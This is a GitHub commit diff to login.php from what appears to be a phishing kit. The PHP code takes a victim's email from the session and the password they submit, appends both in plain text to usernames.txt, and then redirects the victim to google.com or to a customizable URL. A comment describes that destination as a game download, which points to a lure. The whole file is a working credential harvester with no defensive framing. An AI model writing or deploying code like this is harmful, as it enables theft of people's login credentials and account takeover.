Update login.php

This commit is contained in:
Usama Abdul Sattar 2019-06-15 10:59:16 +05:00 committed by GitHub
parent 7e1d7e03e1
commit 2fec11085e
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -4,19 +4,12 @@
$pass = $_POST["passwd"];
$email=$_SESSION["Email"];
//opening logins text file for appending new data.
//$file = fopen("usernames.txt") or die("Unable to open file!");
//Writing email and password to logins.txt.
file_put_contents("usernames.txt", "[EMAIL]: " . $email . " [PASS]: " . $pass . "\n", FILE_APPEND);
//redirecting user to the google drive's locations where the game is available to download.
//change the location url to redirect to a website of your choice.
header('Location: https://www.google.com');
file_put_contents("usernames.txt", "[EMAIL]: " . $email . " [PASS]: " . $pass . "\n", FILE_APPEND);
header('Location: <CUSTOM>');
exit();
session_destroy();
?>
?>